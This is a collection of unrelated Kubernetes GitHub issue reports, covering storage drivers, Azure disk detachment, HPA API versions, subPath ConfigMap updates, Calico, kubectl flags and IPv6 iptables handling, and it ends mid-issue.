<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug\r \r  \r   what happened  : when a gce instance running cos restarts, all installed flexvolume drivers disappear.\r \r   what you expected to happen  : drivers should not disappear.\r \r   how to reproduce it  as minimally and precisely as possible   : start a cluster on gce with  cluster/kube-up.sh . install a flexvolume driver on one of the nodes and then restart that node.\r \r \r   anything else we need to know?  : the default volume plugin directory of  /etc/srv/...  is an overlayfs over a location in  /tmp .\r

 \r   what happened  :\r i'm running a pod with three volumemount  azuredisk pvc . if i delete the pod, it gets rescheduled on a different node. the 3 disks are unmounted from the original node  thanks to kubelet  and the disks are starting to get unattached from the vm.\r \r out of the three disks, only one was able to get unattached, it was properly reattached to the new node waiting to run the freshly restarted pod.\r \r the other two disks couldn't be detached. \r \r the controller manager keeps trying to attach from this point on while never trying to re-detach.\r \r   what you expected to happen  :\r kube-controller-manager should retry detaching disks after failures.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   create a pod with 3 volume mounts  azuredisk . \r   kill the running pod.\r   watch the status\r if it works, retry\r \r   anything else we need to know?  :\r kube-controller-manager logs  --v=4 \r \r https://gist.github.com/djsly/3d934669f1a0db8f9a9a7d446f4962f9\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.12\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  uname -a  : 3.10.0-693.11.6.el7.x86_64\r - install tools: in-house  terraform + salt \r \r cc: @khenidak @feiskyer

feature request  : add support for resizing/expanding portworx volumes.\r \r  \r   what happened  :\r \r basically add support in the portworx volume plugin implementation to allow resizing of pvcs.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r \r    \r 10351 summarizing 6 failures:\r 10352\r 10353  fail   sig-scheduling  schedulerpredicates  serial   beforeeach  validates that nodeselector is respected if matching   conformance \r 10354 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:88\r 10355\r 10356  fail   sig-network  proxy version v1  it  should proxy logs on node   conformance \r 10357 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:358\r 10358\r 10359  fail   sig-network  proxy version v1  it  should proxy through a service and a pod   conformance \r 10360 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:303\r 10361\r 10362  fail   sig-scheduling  schedulerpredicates  serial   beforeeach  validates that nodeselector is respected if not matching   conformance \r 10363 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:88\r 10364\r 10365  fail   sig-network  proxy version v1  it  should proxy logs on node with explicit kubelet port   conformance \r 10366 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/proxy.go:358\r 10367\r 10368  fail   sig-scheduling  schedulerpredicates  serial   beforeeach  validates resource limits of pods that are allowed to run   conformance \r 10369 /workspace/anago-v1.9.4-beta.0.53+bee2d1505c4fe8/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:88\r 10370\r 10371 ran 125 of 782 specs in 3492.760 seconds\r 10372 fail! -- 119 passed | 6 failed | 0 pending | 657 skipped --- fail: teste2e  3492.86s \r 10373 fail\r 10374\r \r 10375 ginkgo ran 1 suite in 58m13.619717288s\r 10376 test suite failed\r    \r \r e2e.log\r  e2e.log  https://github.com/kubernetes/kubernetes/files/1905943/e2e.log \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /area conformance\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r at the moment, the e2e csi test creates clusterroles under fixed names and never deletes or overwrites them. this is intentional, the argument being that it allows running tests in parallel:\r https://github.com/kubernetes/kubernetes/blob/d1111a57d9243c55e02e0e66af55c2ddb36f3767/test/e2e/storage/csi_objects.go l62-l64\r \r   what you expected to happen  :\r \r this behavior is surprising. for example, i just ran the test, updated rules, then ran the test again. the second run didn't use the updated rules.\r \r i think it would be better to create unique names for each test run and then destroy them when the test is done. that supports parallel test runs  and  avoids leaving behind garbage.\r \r @davidz627 what do you think?\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r when applying a hpa  autoscaling/v2beta1  manifest, kubernetes accepts the manifest and returns the  autoscaling/v1  version when querying the manifest.\r \r   what you expected to happen  :\r manifest to maintain  autoscaling/v2beta1  api version\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubectl create -f hpa-demo.yaml \r    \r apiversion: autoscaling/v2beta1\r kind: horizontalpodautoscaler\r metadata:\r   name: hpa-demo\r spec:\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: hpa-demo-master\r   minreplicas: 1\r   maxreplicas: 5\r   metrics:\r   - type: resource\r     resource:\r       name: cpu\r       targetaverageutilization: 80\r   - type: resource\r     resource:\r       name: memory\r       targetaverageutilization: 80\r    \r \r  kubectl get hpa -o yaml hpa-demo \r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     autoscaling.alpha.kubernetes.io/conditions: ' {\ type\ :\ abletoscale\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-11-29t10:53:31z\ ,\ reason\ :\ readyfornewscale\ ,\ message\ :\ the\r       last scale time was sufficiently old as to warrant a new scale\ },{\ type\ :\ scalingactive\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-11-29t10:53:31z\ ,\ reason\ :\ validmetricfound\ ,\ message\ :\ the\r       hpa was able to successfully calculate a replica count from memory resource\r       utilization  percentage of request \ },{\ type\ :\ scalinglimited\ ,\ status\ :\ false\ ,\ lasttransitiontime\ :\ 2018-11-29t10:53:31z\ ,\ reason\ :\ desiredwithinrange\ ,\ message\ :\ the\r       desired count is within the acceptable range\ } '\r     autoscaling.alpha.kubernetes.io/current-metrics: ' {\ type\ :\ resource\ ,\ resource\ :{\ name\ :\ memory\ ,\ currentaverageutilization\ :38,\ currentaveragevalue\ :\ 4018176\ }},{\ type\ :\ resource\ ,\ resource\ :{\ name\ :\ cpu\ ,\ currentaverageutilization\ :20,\ currentaveragevalue\ :\ 1m\ }} '\r     autoscaling.alpha.kubernetes.io/metrics: ' {\ type\ :\ resource\ ,\ resource\ :{\ name\ :\ memory\ ,\ targetaverageutilization\ :80}} '\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ hpa-demo\ ,\ namespace\ :\ staging0\ },\ spec\ :{\ maxreplicas\ :5,\ metrics\ : {\ resource\ :{\ name\ :\ cpu\ ,\ targetaverageutilization\ :80},\ type\ :\ resource\ },{\ resource\ :{\ name\ :\ memory\ ,\ targetaverageutilization\ :80},\ type\ :\ resource\ } ,\ minreplicas\ :1,\ scaletargetref\ :{\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ name\ :\ hpa-demo-master\ }}}\r   creationtimestamp: 2018-11-29t10:52:01z\r   name: hpa-demo\r   namespace: staging0\r   resourceversion: \ 718045\ \r   selflink: /apis/autoscaling/v1/namespaces/staging0/horizontalpodautoscalers/hpa-demo\r   uid: cd513382-f3c4-11e8-9fa7-02bf9ef29fa4\r spec:\r   maxreplicas: 5\r   minreplicas: 1\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: hpa-demo-master\r   targetcpuutilizationpercentage: 80\r status:\r   currentcpuutilizationpercentage: 20\r   currentreplicas: 1\r   desiredreplicas: 1\r    \r \r as you can see from the above, the manifest is accepted by kubernetes on creation, when retrieving the mainfest it's returned in v1 format.\r \r if we explicitly define the apiversion, we get the correct response.\r  kubectl get hpa.v2beta1.autoscaling -o yaml hpa-demo \r    \r apiversion: autoscaling/v2beta1\r kind: horizontalpodautoscaler\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ hpa-demo\ ,\ namespace\ :\ staging0\ },\ spec\ :{\ maxreplicas\ :5,\ metrics\ : {\ resource\ :{\ name\ :\ cpu\ ,\ targetaverageutilization\ :80},\ type\ :\ resource\ },{\ resource\ :{\ name\ :\ memory\ ,\ targetaverageutilization\ :80},\ type\ :\ resource\ } ,\ minreplicas\ :1,\ scaletargetref\ :{\ apiversion\ :\ extensions/v1beta1\ ,\ kind\ :\ deployment\ ,\ name\ :\ hpa-demo-master\ }}}\r   creationtimestamp: 2018-11-29t10:52:01z\r   name: hpa-demo\r   namespace: staging0\r   resourceversion: \ 718045\ \r   selflink: /apis/autoscaling/v2beta1/namespaces/staging0/horizontalpodautoscalers/hpa-demo\r   uid: cd513382-f3c4-11e8-9fa7-02bf9ef29fa4\r spec:\r   maxreplicas: 5\r   metrics:\r   - resource:\r       name: memory\r       targetaverageutilization: 80\r     type: resource\r   - resource:\r       name: cpu\r       targetaverageutilization: 80\r     type: resource\r   minreplicas: 1\r   scaletargetref:\r     apiversion: extensions/v1beta1\r     kind: deployment\r     name: hpa-demo-master\r status:\r   conditions:\r   - lasttransitiontime: 2018-11-29t10:53:31z\r     message: the last scale time was sufficiently old as to warrant a new scale\r     reason: readyfornewscale\r     status: \ true\ \r     type: abletoscale\r   - lasttransitiontime: 2018-11-29t10:53:31z\r     message: the hpa was able to successfully calculate a replica count from memory\r       resource utilization  percentage of request \r     reason: validmetricfound\r     status: \ true\ \r     type: scalingactive\r   - lasttransitiontime: 2018-11-29t10:53:31z\r     message: the desired count is within the acceptable range\r     reason: desiredwithinrange\r     status: \ false\ \r     type: scalinglimited\r   currentmetrics:\r   - resource:\r       currentaverageutilization: 38\r       currentaveragevalue: \ 4018176\ \r       name: memory\r     type: resource\r   - resource:\r       currentaverageutilization: 20\r       currentaveragevalue: 1m\r       name: cpu\r     type: resource\r   currentreplicas: 1\r   desiredreplicas: 1\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.10\ , gitcommit:\ be1a908c6aa47e0ae1b1dc861a1de6ccfe963aa2\ , gittreestate:\ clean\ , builddate:\ 2018-11-13t11:33:04z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  container linux by coreos 1520.9.0  ladybug    4.13.16-coreos-r1   docker://1.12.6 \r - kernel  e.g.  uname -a  :a\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r test/e2e_node/perf tests are referring to adm only images, this need to be replaced with multi-arch fat manifest images.\r \r ref:\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/perf/workloads/npb_ep.go l46\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/perf/workloads/npb_is.go l44\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e_node/perf/workloads/tf_wide_deep.go l46

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is securit pty related, please disclose irivately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r there is a windows minion node in my k8s cluster, i have specified \ --pod-infra-container-image\  for kubelet which is pointing to a private docker repository. the kubelet running as a windows service, service account is localsystem:\r    \r c:\\users\\administrator>sc qc kubelet\r  sc  queryserviceconfig success\r \r service_name: kubelet\r         type               : 10  win32_own_process\r         start_type         : 2   auto_start\r         error_control      : 0   ignore\r         binary_path_name   : d:/k8s/kubelet.exe --kubeconfig=d:/k8s/pki/admin.conf --node-ip=172.16.126.216 --hostname-override=node009 --pod-infra-container-image=repo.q1lan.k8s:9999/q1winpause:0.1 --network-plugin=cni --cni-bin-dir=d:/k8s/cni/bin --cni-conf-dir=d:/k8s/cni/net.d --cert-dir=d:/k8s/kubelet/pki --volume-plugin-dir=d:/k8s/kubelet-plugins/volume/exec/ --log-dir=d:/k8s/log --log-file=d:/k8s/log/kubelet.log --logtostderr=false --config=d:/k8s/kubelet/config.yaml --resolv-conf=\ d:/k8s/resolv.conf\  --windows-service\r         load_order_group   :\r         tag                : 0\r         display_name       : kubernetes node agent\r         dependencies       : docker\r                            : ovn-kubernetes\r         service_start_name : localsystem\r    \r i have login to the repository with administrator, and then copied config.json from administrator's profile folder to \ c:\\windows\\system32\\config\\systemprofile\\\\.docker\ .\r \r when i schedule pod on windows node, kubelet cannot pull infra container image from the private repository with error:\r    \r ...\r   warning  failedcreatepodsandbox  4m7s  x88 over 24m   kubelet, node009   failed create pod sandbox: rpc error: code = unknown desc = failed pulling image \ repo.q1lan.k8s:9999/q1winpause:0.1\ : error response from daemon: get http://repo.q1lan.k8s:9999/v2/q1winpause/manifests/0.1: no basic auth credentials\r ...\r    \r \r i can see there is a pr https://github.com/kubernetes/kubernetes/pull/46233 solved this issue, but it seems not work on windows.\r \r   what you expected to happen  :\r able to pull infra container image from a private repository on windows node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kubelet as a windows service and specify --pod-infra-container-image to point to a private repository with basic auth.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r linux node:\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:00:57z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r windows node:\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.3\ , gitcommit:\ 721bfa751924da8d1680787490c54b9179b1fed0\ , gittreestate:\ clean\ , builddate:\ 2019-02-01t20:08:12z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : windows server core 1709\r - kernel  e.g.  uname -a  : 10.0.16299.125\r - install tools:\r - others:\r

in docs/user-guide/, we have:  pods.md pod-states.md containers.md container-environment.md environment-guide/ images.md compute-resources.md security-context.md volumes.md downward-api.md downward-api/ liveness/ node-selection/  and probably others i missed   with a seemingly random distribution and organization of topics among the docs, with many gaps.  the api schema for pods/containers is yet somewhere else.  environment variable expansion: docs/design/expansion.md  these are reference docs and examples.    the corresponding walkthrough docs, which are reasonably organized, are: configuring-containers.md production-pods.md  we desperately need to organize and plug gaps in the documentation of this core primitive  pods, with containers and volumes .  cc @mansoorj

=== copy of email trail === if we can expose cluster fullness and pending pods metrics to customers, they will figure out from experience what a healthy fullness ratio is for their pod shape mix  \ when we get to 90% ram consumption, we typically see pending pods, so lets plan ahead and not get to 90% ram consumption\  etc .  q  on thu, oct 15, 2015 at 2:22 pm, david oppenheimer davidopp@google.com wrote: a good measure for \ cluster fullness\  is tricky due to fragmentation. but it would be trivial to just give sum request across all pods /cluster capacity and sum usage across all pods /cluster capacity for each resource. well, second one depends on getting usage surfaced to the api which isn't there yet.  on thu, oct 15, 2015 at 1:16 pm, quinton hoole quinton@google.com wrote: in addition surfacing the number of pending pods which will in many cases be ~0 until a cluster is almost out of capacity, and then shoot up, a bit too late to be useful , i was thinking of surfacing the \ % fullness\  of the cluster along some useful scheduling axes  presumably currently only cpu, ram, but in future also disk space, disk iops, network bandwidth, network packets per second and perhaps others .  the key to all of these metrics is observing their trend over time, so while a \ get pods\  gives an instantaneous value, further tooling  e.g. graphing over time  would be needed to make this actually useful.  as you imply, some of this might already be available via one of our ui's/monitoring gui's.  i don't know.  q  on thu, oct 15, 2015 at 11:26 am, david oppenheimer davidopp@google.com wrote: i guess you are suggesting that we somehow surface the   of pending pods more clearly? it should be visible with \ kubectl get pods\  not sure how or if it shows up in the ui.  on thu, oct 15, 2015 at 10:59 am, quinton hoole quinton@google.com wrote: ps:  this does probably highlight a usability issue with k8s though.   how does a user do capacity planning for their production cluster? and how do they easily detect that they're out of capacity , and need to provision more nodes  other than by noticing that their pods don't schedule reliably - which is a pretty blurry signal ? horizontal node autoscaling might be one solution, but i would imagine that some users will want to do this sort of thing manually, at least at first.  thoughts?  q

hello  i set up my first cluster on aws, and when using the dashboard it keeps hanging and then displaying the following:      {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ no endpoints available for service \\\ kubernetes-dashboard\\\ \ ,   \ reason\ : \ serviceunavailable\ ,   \ code\ : 503 }      does this mean i need more / larger nodes? i've seen people have the problem but not with the dashboard.  i have 3 minions which are all t2.micros and 1 master also a t2.micro      kubectl get pods --namespace=kube-system name                                                 ready     status             restarts   age elasticsearch-logging-v1-5oa97                       1/1       running            12         36m elasticsearch-logging-v1-uv2qt                       1/1       running            12         36m fluentd-elasticsearch-ip-172-20-0-137.ec2.internal   1/1       running            0          9m fluentd-elasticsearch-ip-172-20-0-7.ec2.internal     1/1       running            0          1h fluentd-elasticsearch-ip-172-20-0-8.ec2.internal     1/1       running            25         1h heapster-v1.0.0-9bprg                                2/2       running            43         1h kibana-logging-v1-nbjuk                              0/1       crashloopbackoff   35         1h kube-dns-v11-atchx                                   4/4       running            0          1h kube-proxy-ip-172-20-0-137.ec2.internal              1/1       running            0          9m kube-proxy-ip-172-20-0-7.ec2.internal                1/1       running            0          1h kube-proxy-ip-172-20-0-8.ec2.internal                1/1       running            24         1h kubernetes-dashboard-v1.0.0-bj9nr                    1/1       running            24         1h monitoring-influxdb-grafana-v3-8wwq6                 2/2       running            0          1h

is this a bug report or feature request?    choose one :\r feature request.\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what you expected to happen  :\r in mesos 1.x,  mesos container  http://mesos.apache.org/documentation/latest/mesos-containerizer/  is the default container runtime of tasks; when running kubernetes on mesos   kube-mesos  https://github.com/kubernetes-incubator/kube-mesos-framework/  , we'd like to also using only one container runtime environment to reduce op's maintenance effort.\r \r that's one project of  kube-mesos  https://github.com/kubernetes-incubator/kube-mesos-framework/  ; but i do not want to duplicate kubelet in  kube-mesos  https://github.com/kubernetes-incubator/kube-mesos-framework/  project.

user-agent doesn't go through all proxies untouched, so we should probably switch to a custom header to state the client version.\r \r  we have fixed some client incompatibilities by looking at user-agent, so old clients don't get the fix if they go through the wrong proxy.

pod startup, restart and deletion latencies at the node level can change over time as new features are introduced. it is often difficult to notice increase in latencies and trace back such events to features that caused such increases.\r it will be useful to run a test suite that will monitor pod startup, restart and deletion latencies based on test data pulled from kubelets running on test clusters. \r we need to,\r 1. run an agent on all nodes that will scrape kubelet metrics api  /metrics  and push specific metrics to a metrics server.\r 2. run a test as part of a dedicated suite that will validate these metrics after every pr or periodically. \r \r @kubernetes/sig-node-feature-requests

gke staging, prod and multizone jobs each fail ~400 times a week\r \r overall failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html b5cef46ee8806414caa8\r \r storage failures:\r https://k8s-testgrid.appspot.com/google-gke-staging summary&sort-by-failures=\r https://k8s-testgrid.appspot.com/google-gke-prod summary&sort-by-failures=\r \r multizone failures:\r https://k8s-testgrid.appspot.com/google-non-cri gke-multizone&sort-by-failures=\r \r related issues: https://github.com/kubernetes/kubernetes/issues/44411 and https://github.com/kubernetes/kubernetes/issues/44410\r \r /assign @matchstick @saad-ali @msau42 @madhusudancs

 \r   what happened  :\r \r i wanted to mount a configmap and a secret directly as a file and didn't want to mount it as a full directory, so i used subpath to do so:\r \r    yaml\r         volumemounts:\r           - name: my-config\r             mountpath: /usr/src/app/config/config.json\r             subpath: config.json\r           - name: my-secret\r             mountpath: /usr/src/app/secret/secret.json\r             subpath: secret.json\r       volumes:\r       - name: my-config\r         configmap:\r           name: my-config\r       - name: my-secret\r         secret:\r           secretname: my-secret\r    \r when the pod is created, it mounts the configmap and secret correctly. however, if i change them, the updates are not projected into the currently running pods. new pods get the updated file. according to the  documentation  https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/ mounted-configmaps-are-updated-automatically , changes to a configmap should be automatically propagated to running containers that mount them.\r \r however, if i don't use subpath and instead mount the configmap and secret as a directory:\r    yaml\r         volumemounts:\r           - name: my-config\r             mountpath: /usr/src/app/config\r           - name: my-secret\r             mountpath: /usr/src/app/secret\r       volumes:\r       - name: my-config\r         configmap:\r           name: my-config\r       - name: my-secret\r         secret:\r           secretname: my-secret\r    \r then the files are updated inside the container when the underlying configmap and secret are updated and everything works as expected.\r \r   anything else we need to know?  :\r \r in both cases, the files are being updated on the host vm. @kelseyhightower and i tried to debug this, and the only conclusion we could come up with is that subpath is using a different method to mount the files  i think it is using symlinks , and these either aren't or can't be updated for whatever reason.\r \r   action  :\r the behavior that files mounted with subpath don't get updated needs to be documented, or it needs to be fixed so that subpath mounts are updated when the underlying configmap or secret changes.\r \r   environment  : gke\r - kubernetes version  use  kubectl version  : 1.6.7\r - cloud provider or hardware configuration  : gke n1-standard-1\r - os  e.g. from /etc/os-release : container-optimized os 59 9460.64.0\r - kernel  e.g.  uname -a  : 4.4.52+\r

root@master1 ~   kubectl get pods -n kube-system -o wide\r name ready status restarts age ip node\r calico-etcd-2p27t 1/1 running 0 7m 10.110.17.59 master1.kubeadm\r calico-node-6753t 1/2 crashloopbackoff 6 7m 10.110.17.59 master1.kubeadm\r calico-policy-controller-336633499-dn9dp 1/1 running 0 7m 10.110.17.59 master1.kubeadm\r \r  root@master1 ~   kubectl log calico-node-6753t -n kube-system calico-node\r w0927 21:51:31.309272 32763 cmd.go:392  log is deprecated and will be removed in a future version. use logs instead.\r skipping datastore connection test\r using autodetected ipv4 address on interface eth0: 10.110.17.59/24\r calico node 'localhost.localdomain' is already using the ipv4 address 10.110.17.59:\r \r check the node configuration to remove the ip address conflict\r terminating\r calico node failed to start\r centos version：7.3.1611\r kubernetes version：1.7.6\r docker version：1.12.6\r calico version：2.4.1

the following will frequently hang:\r    \r   start \ mypod\  paused with a container containing the \ cat\  command\r echo -n a | kubectl exec -i mypod cat\r echo -n a | kubectl exec -i mypod cat\r echo -n a | kubectl exec -i mypod cat\r echo -n a | kubectl exec -i mypod cat\r    \r \r the issue is that the docker client does not reliably close the input stream.\r \r tracked upstream in https://github.com/moby/moby/issues/36516\r \r fixed in https://github.com/moby/moby/pull/36517\r \r this issue will persist until kubernetes picks up a version of the docker client containing that fix.

   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r upgraded kubernetes cluster from 1.9.5 to 1.10.0 successfully, however kubelets can only be updated to 1.9.6 as this is the latest version available in the yum repos.\r \r   what you expected to happen  :\r cluster and kubelets would be in step version-wise\r \r   how to reproduce it  as minimally and precisely as possible   :\r  yum --showduplicates list kubelet  shows 1.9.6 as the latest version available\r \r   anything else we need to know?  :\r running kubeadm upgrade plan stalls after promoting cluster to 1.10.0 and kubelets to 1.9.6\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :   rhel 7.4  \r - kernel  e.g.  uname -a  :\r - install tools:   kubeadm  \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   /area kubectl\r \r   what happened  :\r \r    \r $ kubectl create job --help\r ...\r \r usage:\r   kubectl create job name  --from-cronjob=cronjob   flags   options \r \r ...\r    \r \r if you try to use  --from-cronjob  though you get an error. \r \r    \r use \ kubectl options\  for a list of global command-line options  applies to all commands .\r \r unknown flag: --from-cronjob\r    \r \r \r   what you expected to happen  :\r \r the correct usage is  --from=cronjob/<name>  which is actually used in the example that's output in  --help \r \r    \r examples:\r     create a job from a cronjob named \ a-cronjob\ \r   kubectl create job --from=cronjob/a-cronjob\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try using  --from-cronjob  flag when running  kubectl create job \r \r   anything else we need to know?  :\r \r version\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r \r the release notes are incorrect as well for 1.10. \r \r cc @soltysh \r \r

 / \r   what happened  :\r in https://github.com/kubernetes/kubernetes/pull/63979 i'm removing all the reapers, unfortunately when invoking foreground deletion on a daemonset the delete operation hangs and controller indefinitely tries to manage a removed ds. \r \r   what you expected to happen  :\r a foreground deletion properly removes daemonset and all its dependents. \r \r   how to reproduce it  as minimally and precisely as possible   :\r invoke a delete operation against kube api  without using  kubectl delete  command . \r \r   anything else we need to know?  :\r this behavior makes it so that none of the consumers of the api is not able to remove the ds controller due to  this custom logic  https://github.com/kubernetes/kubernetes/blob/8b442973ac950faa1ecc580df75b756062a937a5/pkg/kubectl/delete.go l300-l324  present in the ds reaper. a working fix that passed the tests with the aforementioned pr is in https://github.com/kubernetes/kubernetes/pull/64306 but i'm not 100% it's correct. \r \r this is an issue that needs fixing before 1.11 goes out.\r \r /assign @kow3ns @janetkuo \r  \r /cc @deads2k \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r https://github.com/kubernetes/kubernetes/issues/63420 \r https://github.com/kubernetes/kubernetes/pull/63471\r according to  63420 and  63471，\r we are now in release 1.9.7，including taintnodesbycondition=true in the --feature-gates command line flag to the kubernetes controller manager, such as --feature-gates=taintbasedevictions=true,taintnodesbycondition=true，and taint node（e.g. node01）  with notready:noschedule ，then pod also can not be scheduled to  node01  even when node01 is healthy.\r \r \r   what you expected to happen  :\r \r the pod should be scheduled to node01 when it is healthy node and \r not be scheduled to node01 when it is not ready.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :1.9.7\r

 \r   what happened  :\r \r kubelet uses \ iptables\  instead of \ ip6tables\  in an ipv6-only cluster. this causes failed traffic for  type: loadbalancer  services  and probably a lot of other problems .\r \r for instance the  kube-mark-drop  chain is created in  iptables  but is missing in  ip6tables ;\r \r    \r   ip6tables -t nat -s | grep kube-mark-drop\r  nothing \r   iptables -t nat -s | grep kube-mark-drop\r -n kube-mark-drop\r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r    \r \r when a  loadbalancerip  is assigned the  kube-proxy  fails;\r    \r e0814 18:20:56.733818     227 proxier.go:1306  failed to execute iptables-restore: exit status 2  ip6tables-restore v1.6.2: couldn't load target  kube-mark-drop':no such file or directory\r    \r \r   what you expected to happen  :\r \r all components should use  ip6tables  in a ipv6-only cluster.\r \r  loadbalancerip  should work in an ipv6-only cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   start a ipv6-only cluster\r   check iptables\r   optional; try a service type: loadbalancer\r \r   anything else we need to know?  :\r \r  protocolipv4  is hard-coded in finc  newmainkubelet  in \ kubelet.go\ \r \r    \r iptclient: utilipt.new utilexec.new  , utildbus.new  , utilipt.protocolipv4 ,\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ 